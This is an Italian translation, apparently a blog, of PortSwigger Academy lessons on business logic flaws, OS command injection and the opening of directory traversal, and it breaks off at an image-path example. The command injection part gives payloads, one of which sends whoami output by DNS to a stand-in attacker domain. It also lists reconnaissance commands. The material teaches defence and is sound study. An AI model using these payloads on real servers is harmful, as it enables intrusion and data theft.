I difetti logici sono spesso invisibili alle persone che non li cercano esplicitamente poiché in genere non vengono scoperti dal normale utilizzo dell’applicazione. Tuttavia, un utente malintenzionato potrebbe essere in grado di sfruttare peculiarità comportamentali interagendo con l’applicazione in modi che gli sviluppatori non avrebbero mai previsto.

Uno degli scopi principali della logica aziendale è applicare le regole e i vincoli definiti durante la progettazione dell’applicazione o della funzionalità. In generale, le regole aziendali stabiliscono come l’applicazione dovrebbe reagire quando si verifica un determinato scenario. Ciò include impedire agli utenti di fare cose che avranno un impatto negativo sull’azienda o che semplicemente non hanno senso.

Difetti nella logica possono consentire agli aggressori di aggirare queste regole. Ad esempio, potrebbero essere in grado di completare una transazione senza passare attraverso il flusso di lavoro di acquisto previsto. In altri casi, la convalida interrotta o inesistente dei dati forniti dall’utente potrebbe consentire agli utenti di apportare modifiche arbitrarie ai valori critici della transazione o di inviare input senza senso. Passando valori imprevisti nella logica lato server, un utente malintenzionato può potenzialmente indurre l’applicazione a fare qualcosa che non dovrebbe fare.

Le vulnerabilità basate sulla logica possono essere estremamente diverse e spesso sono esclusive dell’applicazione e della sua funzionalità specifica. Identificarli spesso richiede una certa dose di conoscenza umana, come la comprensione del dominio aziendale o degli obiettivi che un utente malintenzionato potrebbe avere in un determinato contesto. Ciò li rende difficili da rilevare utilizzando scanner di vulnerabilità automatizzati. Di conseguenza, i difetti logici sono un ottimo obiettivo per i cacciatori di bug e i tester manuali in generale.

Come nascono le vulnerabilità della logica aziendale?

Le vulnerabilità della logica aziendale spesso sorgono perché i team di progettazione e sviluppo formulano ipotesi errate sul modo in cui gli utenti interagiranno con l’applicazione. Questi presupposti errati possono portare a una convalida inadeguata dell’input dell’utente. Ad esempio, se gli sviluppatori presuppongono che gli utenti passeranno i dati esclusivamente tramite un browser Web, l’applicazione potrebbe fare affidamento interamente su deboli controlli lato client per convalidare l’input. Questi vengono facilmente aggirati da un utente malintenzionato utilizzando un proxy di intercettazione.

In definitiva, ciò significa che quando un utente malintenzionato si discosta dal comportamento previsto dall’utente, l’applicazione non riesce ad adottare le misure appropriate per prevenirlo e, di conseguenza, non riesce a gestire la situazione in modo sicuro.

I difetti logici sono particolarmente comuni nei sistemi eccessivamente complicati che nemmeno lo stesso team di sviluppo comprende appieno. Per evitare difetti logici, gli sviluppatori devono comprendere l’applicazione nel suo insieme. Ciò include la consapevolezza di come diverse funzioni possano essere combinate in modi inaspettati. Gli sviluppatori che lavorano su codebase di grandi dimensioni potrebbero non avere una conoscenza approfondita del funzionamento di tutte le aree dell’applicazione. Qualcuno che lavora su un componente potrebbe formulare ipotesi errate sul funzionamento di un altro componente e, di conseguenza, introdurre inavvertitamente gravi difetti logici. Se gli sviluppatori non documentano esplicitamente le ipotesi fatte, è facile che questo tipo di vulnerabilità si insinuino in un’applicazione.

Qual è l’impatto delle vulnerabilità della logica aziendale?

L’impatto delle vulnerabilità della logica aziendale può, a volte, essere piuttosto banale. Si tratta di una categoria ampia e l’impatto è molto variabile. Tuttavia, qualsiasi comportamento involontario può potenzialmente portare ad attacchi di elevata gravità se un utente malintenzionato è in grado di manipolare l’applicazione nel modo giusto. Per questo motivo, la logica bizzarra dovrebbe idealmente essere corretta anche se non riesci a capire come sfruttarla da solo. C’è sempre il rischio che qualcun altro possa farlo.

Fondamentalmente, l’impatto di qualsiasi difetto logico dipende dalla funzionalità a cui è correlato. Se il difetto risiede, ad esempio, nel meccanismo di autenticazione, ciò potrebbe avere un grave impatto sulla sicurezza complessiva. Gli aggressori potrebbero potenzialmente sfruttarlo per aumentare i privilegi o aggirare completamente l’autenticazione, ottenendo l’accesso a dati e funzionalità sensibili. Ciò espone anche una maggiore superficie di attacco per altri exploit.

Una logica errata nelle transazioni finanziarie può ovviamente portare a ingenti perdite per l’azienda attraverso il furto di fondi, frodi e così via.

È inoltre necessario tenere presente che, anche se i difetti logici potrebbero non consentire a un utente malintenzionato di trarne un vantaggio diretto, potrebbero comunque consentire a un malintenzionato di danneggiare in qualche modo l’azienda.

Quali sono alcuni esempi di vulnerabilità della logica aziendale?

Il modo migliore per comprendere le vulnerabilità della logica aziendale è esaminare casi reali e imparare dagli errori commessi. Abbiamo fornito esempi concreti di una serie di difetti logici comuni, nonché di alcuni siti Web deliberatamente vulnerabili, in modo che tu possa esercitarti a sfruttare queste vulnerabilità da solo.

Come prevenire le vulnerabilità della logica aziendale

In breve, le chiavi per prevenire le vulnerabilità della logica aziendale sono:

  • assicurati che sviluppatori e tester comprendano il dominio servito dall’applicazione
  • evitare di fare supposizioni implicite sul comportamento dell’utente o sul comportamento di altre parti dell’applicazione

Dovresti identificare quali presupposti hai fatto riguardo allo stato lato server e implementare la logica necessaria per verificare che tali presupposti siano soddisfatti. Ciò include assicurarsi che il valore di qualsiasi input sia ragionevole prima di procedere.

È anche importante assicurarsi che sia gli sviluppatori che i tester siano in grado di comprendere appieno questi presupposti e il modo in cui l’applicazione dovrebbe reagire in diversi scenari. Ciò può aiutare il team a individuare i difetti logici il prima possibile. Per facilitare ciò, il team di sviluppo dovrebbe aderire, ove possibile, alle seguenti migliori pratiche:

  • mantieni documenti di progettazione e flussi di dati chiari per tutte le transazioni e i flussi di lavoro, annotando eventuali ipotesi formulate in ogni fase.
  • scrivi il codice nel modo più chiaro possibile. Se è difficile capire cosa dovrebbe succedere, sarà difficile individuare eventuali difetti logici. Idealmente, un codice ben scritto non dovrebbe aver bisogno di documentazione per capirlo. In casi inevitabilmente complessi, produrre una documentazione chiara è fondamentale per garantire che altri sviluppatori e tester sappiano quali ipotesi vengono fatte e qual è esattamente il comportamento previsto.
  • prendere nota di eventuali riferimenti ad altro codice che utilizza ciascun componente. Pensa agli eventuali effetti collaterali di queste dipendenze se un malintenzionato dovesse manipolarle in un modo insolito.

A causa della natura relativamente unica di molti difetti logici, è facile liquidarli come un errore occasionale dovuto a un errore umano e andare avanti. Tuttavia, come abbiamo dimostrato, questi difetti sono spesso il risultato di cattive pratiche nelle fasi iniziali della creazione dell’applicazione. Analizzare il motivo per cui esisteva un difetto logico e come il team non lo ha notato può aiutarti a individuare i punti deboli nei tuoi processi. Apportando piccole modifiche, è possibile aumentare la probabilità che difetti simili vengano eliminati alla fonte o rilevati nelle prime fasi del processo di sviluppo.

Esempi di vulnerabilità della logica aziendale

Le vulnerabilità della logica aziendale sono relativamente specifiche per il contesto in cui si verificano. Tuttavia, sebbene i singoli casi di difetti logici differiscano enormemente, possono condividere molti temi comuni. In particolare, possono essere raggruppati in modo approssimativo in base agli errori iniziali che hanno inizialmente introdotto la vulnerabilità.

In questa sezione esamineremo esempi di alcuni errori tipici commessi dai team di progettazione e sviluppo e mostreremo come possano portare direttamente a difetti nella logica aziendale. Sia che tu stia sviluppando le tue applicazioni o verificando quelle esistenti, puoi prendere le lezioni apprese da questi esempi e applicare lo stesso pensiero critico ad altre applicazioni che incontri.

Esempi di difetti logici includono:

  • fiducia eccessiva nei controlli lato client;
  • impossibile gestire input non convenzionali;
  • fare ipotesi errate sul comportamento degli utenti;
  • difetti specifici del dominio;
  • fornire un oracolo di crittografia;
  • discrepanze del parser dell’indirizzo e-mail .

Fiducia eccessiva nei controlli lato client

Un presupposto fondamentalmente errato è che gli utenti interagiranno con l’applicazione solo tramite l’interfaccia web fornita. Ciò è particolarmente pericoloso perché porta all’ulteriore presupposto che la convalida lato client impedirà agli utenti di fornire input dannosi. Tuttavia, un utente malintenzionato può semplicemente utilizzare strumenti come Burp Proxy per manomettere i dati dopo che sono stati inviati dal browser ma prima che vengano passati alla logica lato server. Ciò rende effettivamente inutili i controlli lato client.

Accettare i dati per oro colato, senza eseguire adeguati controlli di integrità e convalida lato server, può consentire a un utente malintenzionato di causare tutti i tipi di danni con uno sforzo relativamente minimo. Ciò che esattamente sono in grado di ottenere dipende dalla funzionalità e da cosa sta facendo con i dati controllabili. Nel giusto contesto, questo tipo di difetto può avere conseguenze devastanti sia per la funzionalità aziendale che per la sicurezza del sito web stesso.

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-excessive-trust-in-client-side-controls

Lab: https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-broken-logic

Non riuscire a gestire input non convenzionali

Uno degli obiettivi della logica dell’applicazione è limitare l’input dell’utente a valori che aderiscono alle regole aziendali. Ad esempio, l’applicazione può essere progettata per accettare valori arbitrari di un determinato tipo di dati, ma la logica determina se questo valore è accettabile o meno dal punto di vista dell’azienda. Molte applicazioni incorporano limiti numerici nella loro logica. Ciò potrebbe includere limiti progettati per gestire l’inventario, applicare restrizioni di budget, attivare fasi della catena di fornitura e così via.

Prendiamo il semplice esempio di un negozio online. Quando ordinano i prodotti, gli utenti in genere specificano la quantità che desiderano ordinare. Sebbene in teoria qualsiasi numero intero sia un input valido, la logica aziendale potrebbe impedire agli utenti di ordinare più unità di quelle attualmente disponibili in magazzino.

Per implementare regole come questa, gli sviluppatori devono anticipare tutti i possibili scenari e incorporare modi per gestirli nella logica dell’applicazione. In altre parole, devono dire all’applicazione se deve consentire un determinato input e come dovrebbe reagire in base alle varie condizioni. Se non esiste una logica esplicita per gestire un determinato caso, ciò può portare a comportamenti imprevisti e potenzialmente sfruttabili.

Ad esempio, un tipo di dati numerico potrebbe accettare valori negativi. A seconda della funzionalità correlata, potrebbe non avere senso che la logica aziendale lo consenta. Tuttavia, se l’applicazione non esegue un’adeguata convalida lato server e rifiuta questo input, un utente malintenzionato potrebbe essere in grado di passare un valore negativo e indurre un comportamento indesiderato.

Consideriamo un trasferimento di fondi tra due conti bancari. Questa funzionalità controllerà quasi sicuramente se il mittente dispone di fondi sufficienti prima di completare il trasferimento:

$transferAmount = $_POST[’amount’];
$currentBalance = $user->getBalance();

if ($transferAmount <= $currentBalance) {
	// Complete the transfer
} else {
	// Block the transfer: insufficient funds
}

Ma se la logica non impedisce sufficientemente agli utenti di fornire un valore negativo nel parametro dell’importo, un utente malintenzionato potrebbe sfruttarlo per aggirare il controllo del saldo e trasferire fondi nella direzione “sbagliata”. Se l’aggressore ha inviato -$1000 sul conto della vittima, ciò potrebbe comportare la ricezione di $1000 dalla vittima. La logica valuterebbe sempre che -1000 è inferiore al saldo corrente e approverebbe il trasferimento.

Semplici difetti logici come questo possono essere devastanti se si verificano nella giusta funzionalità. È anche facile non notarli durante lo sviluppo e il test, soprattutto perché tali input potrebbero essere bloccati dai controlli lato client sull’interfaccia web.

Quando controlli un’applicazione, dovresti utilizzare strumenti come Burp Proxy e Repeater per provare a inviare valori non convenzionali. In particolare, prova a inserire intervalli in cui difficilmente gli utenti legittimi entreranno mai. Ciò include input numerici eccezionalmente alti o eccezionalmente bassi e stringhe anormalmente lunghe per campi basati su testo. Puoi anche provare tipi di dati inaspettati. Osservando la risposta dell’applicazione, dovresti provare a rispondere alle seguenti domande:

  • Ci sono dei limiti imposti ai dati?
  • Cosa succede quando raggiungi questi limiti?
  • È stata eseguita qualche trasformazione o normalizzazione sul tuo input?

Ciò potrebbe esporre a una convalida dell’input debole che consente di manipolare l’applicazione in modi insoliti. Tieni presente che se trovi un modulo sul sito Web di destinazione che non riesce a gestire in modo sicuro input non convenzionali, è probabile che altri moduli presentino gli stessi problemi.

Lab: https://portswigger.net/web-security/logic-flaws/examples#failing-to-handle-unconventional-input

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-low-level

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-handling-of-exceptional-input

Fare ipotesi errate sul comportamento degli utenti

Una delle cause principali più comuni delle vulnerabilità logiche è la formulazione di ipotesi errate sul comportamento degli utenti. Ciò può portare a un’ampia gamma di problemi in cui gli sviluppatori non hanno considerato scenari potenzialmente pericolosi che violano questi presupposti. In questa sezione forniremo alcuni esempi cautelativi di presupposti comuni che dovrebbero essere evitati e dimostreremo come possano portare a pericolosi difetti logici.

Gli utenti fidati non rimarranno sempre affidabili

Le applicazioni possono sembrare sicure perché implementano misure apparentemente robuste per far rispettare le regole aziendali. Sfortunatamente, alcune applicazioni commettono l’errore di presumere che, dopo aver superato inizialmente questi severi controlli, si possa fidarsi dell’utente e dei suoi dati a tempo indeterminato. Ciò può comportare un’applicazione relativamente lassista degli stessi controlli da quel momento in poi.

Se le regole aziendali e le misure di sicurezza non vengono applicate in modo coerente in tutta l’applicazione, ciò può portare a lacune potenzialmente pericolose che possono essere sfruttate da un utente malintenzionato.

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-security-controls

Gli utenti non forniranno sempre input obbligatori

Un malinteso è che gli utenti forniranno sempre valori per i campi di input obbligatori. I browser possono impedire agli utenti comuni di inviare un modulo senza un input richiesto ma, come sappiamo, gli aggressori possono manomettere i parametri in transito. Ciò si estende anche alla rimozione completa dei parametri.

Questo è un problema particolare nei casi in cui più funzioni sono implementate all’interno dello stesso script lato server. In questo caso, la presenza o l’assenza di un particolare parametro può determinare quale codice verrà eseguito. La rimozione dei valori dei parametri può consentire a un utente malintenzionato di accedere a percorsi di codice che dovrebbero essere fuori portata.

Quando cerchi difetti logici, dovresti provare a rimuovere ciascun parametro a turno e osservare quale effetto questo ha sulla risposta. Dovresti assicurarti di:

  • rimuovere solo un parametro alla volta per garantire che vengano raggiunti tutti i percorsi del codice rilevanti;
  • provare a eliminare il nome del parametro e il valore. Il server in genere gestirà entrambi i casi in modo diverso;
  • seguire i processi in più fasi fino al completamento. A volte la manomissione di un parametro in un passaggio avrà un effetto su un altro passaggio più avanti nel flusso di lavoro.

Questo vale sia per i parametri URL che per quelli POST, ma non dimenticare di controllare anche i cookie. Questo semplice processo può rivelare alcuni comportamenti bizzarri dell’applicazione che potrebbero essere sfruttabili.

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-weak-isolation-on-dual-use-endpoint

Lab: https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic

Gli utenti non seguiranno sempre la sequenza prevista

Molte transazioni si basano su flussi di lavoro predefiniti costituiti da una sequenza di passaggi. L’interfaccia web in genere guida gli utenti attraverso questo processo, portandoli alla fase successiva del flusso di lavoro ogni volta che completano quello corrente. Tuttavia, gli aggressori non necessariamente aderiranno a questa sequenza prevista. Non tenere conto di questa possibilità può portare a difetti pericolosi che possono essere relativamente semplici da sfruttare.

Ad esempio, molti siti Web che implementano l’autenticazione a due fattori (2FA) richiedono agli utenti di accedere su una pagina prima di inserire un codice di verifica su una pagina separata. Supponendo che gli utenti seguano sempre questo processo fino al completamento e, di conseguenza, non verificando che lo facciano, potrebbe consentire agli aggressori di ignorare completamente il passaggio 2FA.

Lab: https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass

Fare ipotesi sulla sequenza degli eventi può portare a un’ampia gamma di problemi anche all’interno dello stesso flusso di lavoro o funzionalità. Utilizzando strumenti come Burp Proxy e Repeater, una volta che un utente malintenzionato ha visto una richiesta, può riprodurla a piacimento e utilizzare la navigazione forzata per eseguire qualsiasi interazione con il server nell’ordine desiderato. Ciò consente loro di completare diverse azioni mentre l’applicazione si trova in uno stato imprevisto.

Per identificare questo tipo di difetti, dovresti utilizzare la navigazione forzata per inviare richieste in una sequenza non prevista. Ad esempio, potresti saltare determinati passaggi, accedere a un singolo passaggio più di una volta, tornare ai passaggi precedenti e così via. Prendere nota di come si accede ai diversi passaggi. Sebbene spesso invii semplicemente una richiesta GET o POST a un URL specifico, a volte puoi accedere ai passaggi inviando diversi set di parametri allo stesso URL. Come per tutti i difetti logici, prova a identificare quali ipotesi hanno fatto gli sviluppatori e dove si trova la superficie di attacco. È quindi possibile cercare modi per violare questi presupposti.

Tieni presente che questo tipo di test causerà spesso eccezioni perché le variabili previste hanno valori nulli o non inizializzati. Anche l’arrivo in un luogo in uno stato parzialmente definito o incoerente potrebbe causare un reclamo da parte dell’applicazione. In questo caso, assicurati di prestare molta attenzione a eventuali messaggi di errore o informazioni di debug che incontri. Questi possono essere una preziosa fonte di divulgazione di informazioni, che può aiutarti a mettere a punto il tuo attacco e comprendere i dettagli chiave sul comportamento di back-end.

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-authentication-bypass-via-flawed-state-machine

Difetti specifici del dominio

In molti casi, incontrerai difetti logici specifici del dominio aziendale o dello scopo del sito.

La funzionalità di sconto dei negozi online è una classica superficie di attacco quando si va a caccia di difetti logici. Questa può essere una potenziale miniera d’oro per un utente malintenzionato, con tutti i tipi di difetti logici di base che si verificano nel modo in cui vengono applicati gli sconti.

Ad esempio, considera un negozio online che offre uno sconto del 10% sugli ordini superiori a $ 1000. Ciò potrebbe essere vulnerabile ad abusi se la logica aziendale non riesce a verificare se l’ordine è stato modificato dopo l’applicazione dello sconto. In questo caso, un utente malintenzionato potrebbe semplicemente aggiungere articoli al carrello fino a raggiungere la soglia di $ 1000, quindi rimuovere gli articoli che non desidera prima di effettuare l’ordine. Riceverebbero quindi lo sconto sul loro ordine anche se non soddisfa più i criteri previsti.

Dovresti prestare particolare attenzione a qualsiasi situazione in cui i prezzi o altri valori sensibili vengono modificati in base a criteri determinati dalle azioni dell’utente. Cerca di capire quali algoritmi utilizza l’applicazione per apportare queste modifiche e in quale punto vengono apportate queste modifiche. Ciò spesso comporta la manipolazione dell’applicazione in modo che si trovi in ​​uno stato in cui le modifiche applicate non corrispondono ai criteri originali previsti dagli sviluppatori.

Per identificare queste vulnerabilità, è necessario riflettere attentamente su quali obiettivi potrebbe avere un utente malintenzionato e provare a trovare diversi modi per raggiungerlo utilizzando la funzionalità fornita. Ciò potrebbe richiedere un certo livello di conoscenza specifica del dominio per capire cosa potrebbe essere vantaggioso in un dato contesto. Per usare un semplice esempio, è necessario comprendere i social media per comprendere i vantaggi di costringere un gran numero di utenti a seguirti.

Senza questa conoscenza del dominio, potresti respingere un comportamento pericoloso semplicemente perché non sei consapevole dei suoi potenziali effetti a catena. Allo stesso modo, potresti avere difficoltà a unire i punti e notare come due funzioni possano essere combinate in modo dannoso. Per semplicità, gli esempi utilizzati in questo argomento sono specifici per un dominio con cui tutti gli utenti avranno già familiarità, vale a dire un negozio online. Tuttavia, che tu stia cercando bug, pentesting o anche solo uno sviluppatore che cerca di scrivere codice più sicuro, a un certo punto potresti imbatterti in applicazioni provenienti da domini meno familiari. In questo caso, dovresti leggere quanta più documentazione possibile e, ove disponibile, parlare con esperti in materia del settore per ottenere informazioni. Potrebbe sembrare un lavoro impegnativo, ma più il dominio è “oscuro”, più è probabile che gli altri tester non abbiano notato molti bug.

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-flawed-enforcement-of-business-rules

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-infinite-money

Fornire un “oracolo di crittografia”

Possono verificarsi scenari pericolosi quando l’input controllabile dall’utente viene crittografato e il testo cifrato risultante viene quindi reso disponibile all’utente in qualche modo. Questo tipo di input è talvolta noto come “oracolo di crittografia”. Un utente malintenzionato può utilizzare questo input per crittografare dati arbitrari utilizzando l’algoritmo corretto e la chiave asimmetrica.

Ciò diventa pericoloso quando nell’applicazione sono presenti altri input controllabili dall’utente che prevedono dati crittografati con lo stesso algoritmo. In questo caso, un utente malintenzionato potrebbe potenzialmente utilizzare l’oracolo di crittografia per generare input validi e crittografati e quindi trasmetterli ad altre funzioni sensibili.

Questo problema può essere aggravato se sul sito è presente un altro input controllabile dall’utente che fornisce la funzione inversa. Ciò consentirebbe all’aggressore di decrittografare altri dati per identificare la struttura prevista. Ciò risparmia loro parte del lavoro necessario per creare dati dannosi, ma non è necessariamente necessario per creare un exploit di successo.

La gravità di un oracolo di crittografia dipende da quale funzionalità utilizza anche lo stesso algoritmo dell’oracolo.

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-authentication-bypass-via-encryption-oracle

Discrepanze nel parser degli indirizzi e-mail

Alcuni siti Web analizzano gli indirizzi e-mail per estrarre il dominio e determinare a quale organizzazione appartiene il proprietario dell’e-mail. Anche se inizialmente questo processo può sembrare semplice, in realtà è molto complesso, anche per indirizzi validi conformi a RFC.

Le discrepanze nel modo in cui vengono analizzati gli indirizzi e-mail possono compromettere questa logica. Queste discrepanze si verificano quando diverse parti dell’applicazione gestiscono gli indirizzi e-mail in modo diverso.

Un utente malintenzionato può sfruttare queste discrepanze utilizzando tecniche di codifica per mascherare parti dell’indirizzo e-mail. Ciò consente all’aggressore di creare indirizzi e-mail che superano i controlli di convalida iniziali ma vengono interpretati in modo diverso dalla logica di analisi del server.

L’impatto principale delle discrepanze del parser degli indirizzi e-mail è l’accesso non autorizzato. Gli aggressori possono registrare account utilizzando indirizzi e-mail apparentemente validi provenienti da domini limitati. Ciò consente loro di accedere ad aree sensibili dell’applicazione, come pannelli di amministrazione o funzioni utente riservate.

Maggiori informazioni

Per informazioni dettagliate sulle discrepanze nell’analisi delle e-mail, incluso il modo in cui possono essere sfruttate, consultare il white paper Splitting the Email Atom: Exploiting Parser to Bypass Access Controls di Gareth Heyes del team di ricerca di PortSwigger.
Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-bypassing-access-controls-using-email-address-parsing-discrepancies

OS command injection

PortSwigger Academy – OS command injection

Continua il percorso di apprendimento suggerito da “PortSwigger Academy”.

OS command injection

In questa sezione spiegheremo cos’è l’OS command injection, descriveremo come le vulnerabilità possono essere rilevate e sfruttate, spiegheremo alcuni comandi e tecniche utili per diversi sistemi operativi e riassumeremo come prevenire l’OS command injection.

Che cos’è l’OS command injection?

L’OS command injection (nota anche come iniezione della shell) è una vulnerabilità della sicurezza Web che consente a un utente malintenzionato di eseguire comandi arbitrari del sistema operativo (OS) sul server che esegue un’applicazione e in genere di compromettere completamente l’applicazione e tutti i suoi dati. Molto spesso, un utente malintenzionato può sfruttare una vulnerabilità legata all’OS command injection per compromettere altre parti dell’infrastruttura di hosting, sfruttando le relazioni di fiducia per indirizzare l’attacco verso altri sistemi all’interno dell’organizzazione.

Esecuzione di comandi arbitrari

Consideriamo un’applicazione per lo shopping che consenta all’utente di visualizzare se un articolo è disponibile in un particolare negozio. È possibile accedere a queste informazioni tramite un URL come:

https://insecure-website.com/stockStatus?productID=381&storeID=29

Per fornire le informazioni sulle scorte, l’applicazione deve interrogare vari sistemi legacy. Per ragioni storiche, la funzionalità viene implementata richiamando un comando di shell con gli ID del prodotto e del negozio come argomenti:

stockreport.pl 381 29

Questo comando restituisce lo stato delle scorte per l’articolo specificato, che viene restituito all’utente.

Poiché l’applicazione non implementa difese contro l’OS command injection, un utente malintenzionato può inviare il seguente input per eseguire un comando arbitrario:

& echo aiwefwlguh &

Se questo input viene inviato nel parametro productID, il comando eseguito dall’applicazione è:

stockreport.pl & echo aiwefwlguh & 29

Il comando echo fa semplicemente sì che la stringa fornita venga ripetuta nell’output ed è un modo utile per testare alcuni tipi di command injection del sistema operativo. Il carattere & è un separatore di comandi della shell, quindi ciò che viene eseguito sono in realtà tre comandi separati uno dopo l’altro. Di conseguenza, l’output restituito all’utente è:

Error - productID was not provided
aiwefwlguh
29: command not found

Le tre linee di output dimostrano che:

  • Il comando stockreport.pl originale è stato eseguito senza gli argomenti previsti e quindi ha restituito un messaggio di errore.
  • Il comando echo inserito è stato eseguito e la stringa fornita è stata riprodotta nell’output.
  • L’argomento originale 29 è stato eseguito come comando, causando un errore.

Posizionare il separatore & dopo il comando inserito è generalmente utile perché separa il comando inserito da tutto ciò che segue il punto di iniezione. Ciò riduce la probabilità che quello che segue impedisca l’esecuzione del comando inserito.

Lab: OS command injection, simple case

Comandi utili

Una volta identificata una vulnerabilità di command injection del sistema operativo, è generalmente utile eseguire alcuni comandi iniziali per ottenere informazioni sul sistema che è stato compromesso. Di seguito è riportato un riepilogo di alcuni comandi utili sulle piattaforme Linux e Windows:

Scopo del comandoLinuxWindows
Nome dell’utente correntewhoamiwhoami
Sistema operativouname -aver
Configurazione di reteifconfigipconfig /all
Connessioni di retenetstat -annetstat -an
Processi in esecuzioneps -eftasklist
Comandi utili

Vulnerabilità Blind OS command injection

Molti casi di command injection del sistema operativo sono vulnerabilità cieche. Ciò significa che l’applicazione non restituisce l’output del comando all’interno della sua risposta HTTP. Le vulnerabilità cieche possono ancora essere sfruttate, ma sono necessarie tecniche diverse.

Considera un sito web che consenta agli utenti di inviare feedback sul sito. L’utente inserisce il proprio indirizzo e-mail e il messaggio di feedback. L’applicazione lato server genera quindi un’e-mail all’amministratore del sito contenente il feedback. Per fare ciò, chiama il programma di posta con i dettagli inviati. Per esempio:

mail -s “This site is great” -aFrom:peter@normal-user.net feedback@vulnerable-website.com

L’output del comando mail (se presente) non viene restituito nelle risposte dell’applicazione, pertanto l’utilizzo del payload echo non sarebbe efficace. In questa situazione, è possibile utilizzare una serie di altre tecniche per rilevare e sfruttare una vulnerabilità.

Rilevamento del blind OS command injection utilizzando ritardi temporali

È possibile utilizzare un comando iniettato che attiverà un ritardo temporale, consentendo di confermare che il comando è stato eseguito in base al tempo impiegato dall’applicazione per rispondere. Il comando ping è un modo efficace per farlo, poiché consente di specificare il numero di pacchetti ICMP da inviare e quindi il tempo impiegato per l’esecuzione del comando:

& ping -c 10 127.0.0.1 &

Questo comando farà sì che l’applicazione esegua il ping della scheda di rete loopback per 10 secondi.

Lab: Blind OS command injection with time delays

Sfruttare il blind OS command injection reindirizzando l’output

Puoi reindirizzare l’output del comando inserito in un file all’interno della radice web che puoi quindi recuperare utilizzando il browser. Ad esempio, se l’applicazione fornisce risorse statiche dalla posizione del file system /var/www/static, puoi inviare il seguente input:

& whoami > /var/www/static/whoami.txt &

Il carattere > invia l’output del comando whoami al file specificato. È quindi possibile utilizzare il browser per recuperare https://vulnerable-website.com/whoami.txt per recuperare il file e visualizzare l’output del comando inserito.

Lab: Blind OS command injection with output redirection

Sfruttare il blind OS command injection utilizzando tecniche fuori banda (OAST).

Puoi utilizzare un command injection che attiverà un’interazione di rete fuori banda con un sistema da te controllato, utilizzando le tecniche OAST.. Per esempio:

& nslookup kgji2ohoyw.web-attacker.com &

Questo payload utilizza il comando nslookup per provocare una ricerca DNS per il dominio specificato. L’aggressore può monitorare il verificarsi della ricerca specificata e quindi rilevare che il comando è stato inserito con successo.

Lab: Blind OS command injection with out-of-band interaction

Il canale fuori banda fornisce anche un modo semplice per estrarre l’output dai comandi inseriti:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

Ciò causerà una ricerca DNS nel dominio dell’aggressore contenente il risultato del comando whoami:

wwwuser.kgji2ohoyw.web-attacker.com

Lab: Blind OS command injection with out-of-band data exfiltration

Modi per inserire OS command injection

È possibile utilizzare una varietà di metacaratteri della shell per eseguire attacchi di command injection del sistema operativo.

Un certo numero di caratteri funziona come separatori di comandi, consentendo di concatenare i comandi. I seguenti separatori di comandi funzionano sia sui sistemi basati su Windows che su Unix:

&

&&

|

||

I seguenti separatori di comandi funzionano solo su sistemi basati su Unix:

;

Nuova riga (0x0a oppure \n)

Sui sistemi basati su Unix, puoi anche utilizzare i backtick o il carattere del dollaro per eseguire l’esecuzione in linea di un comando inserito all’interno del comando originale:

`

comando iniettato `

$ (

comando iniettato)

Si noti che i diversi metacaratteri della shell hanno comportamenti leggermente diversi che potrebbero influenzare il loro funzionamento in determinate situazioni.

A volte, l’input che controlli appare tra virgolette nel comando originale. In questa situazione, è necessario terminare il contesto citato (utilizzando oppure ) prima di utilizzare i metacaratteri della shell adatti per inserire un nuovo comando.

Come prevenire gli attacchi di OS command injection

Di gran lunga il modo più efficace per prevenire le vulnerabilità di OS command injection è non richiamare mai i comandi del sistema operativo dal codice a livello di applicazione. Praticamente in ogni caso, esistono modi alternativi per implementare la funzionalità richiesta utilizzando API della piattaforma più sicure.

Se si ritiene inevitabile richiamare i comandi del sistema operativo con l’input fornito dall’utente, è necessario eseguire una valida convalida dell’input. Alcuni esempi di validazione efficace includono:

  • Convalida rispetto a una whitelist di valori consentiti.
  • Convalidare che l’input è un numero.
  • Convalidare che l’input contenga solo caratteri alfanumerici, nessun’altra sintassi o spazi bianchi.

Non tentare mai di ripulire l’input eseguendo l’escape dei metacaratteri della shell. In pratica, questo è semplicemente troppo soggetto a errori e vulnerabile alle attività di un utente malintenzionato esperto.

Per saperne di più

Directory traversal

PortSwigger Academy – Directory traversal

Continua il percorso di apprendimento suggerito da “PortSwigger Academy”. Consiglio di iscriversi alla piattaforma, seguire le lezioni e soprattutto svolgere e completare i lab 🙂

Directory traversal

In questa sezione spiegheremo cos’è il “directory traversal” o “path traversal”, descriveremo come eseguire attacchi di directory traversal e aggirare gli ostacoli comuni e spiegheremo come prevenire tali vulnerabilità.

Cos’è il directory traversal?

L’attraversamento delle directory “directory traversal” (noto anche come attraversamento del percorso dei file “path traversal”) è una vulnerabilità della sicurezza Web che consente a un utente malintenzionato di leggere file arbitrari sul server su cui è in esecuzione un’applicazione. Ciò potrebbe includere codice e dati dell’applicazione, credenziali per sistemi back-end e file sensibili del sistema operativo. In alcuni casi, un utente malintenzionato potrebbe essere in grado di scrivere su file arbitrari sul server, consentendogli di modificare i dati o il comportamento dell’applicazione e, infine, di assumere il pieno controllo del server.

Lettura di file arbitrari tramite directory traversal

Considera un’applicazione per lo shopping che visualizza immagini di articoli in vendita. Le immagini vengono caricate tramite codice HTML come il seguente:

<img src="/loadImage?filename=218.png">

L’URL loadImage accetta un parametro filename e restituisce il contenuto del file specificato. I file immagine stessi sono archiviati su disco nella posizione /var/www/images/. Per restituire un’immagine, l’applicazione aggiunge il filename richiesto a questa directory di base e utilizza un’API del file system per leggere il contenuto del file. Nel caso precedente, l’applicazione legge dal seguente percorso:

/var/www/images/218.png

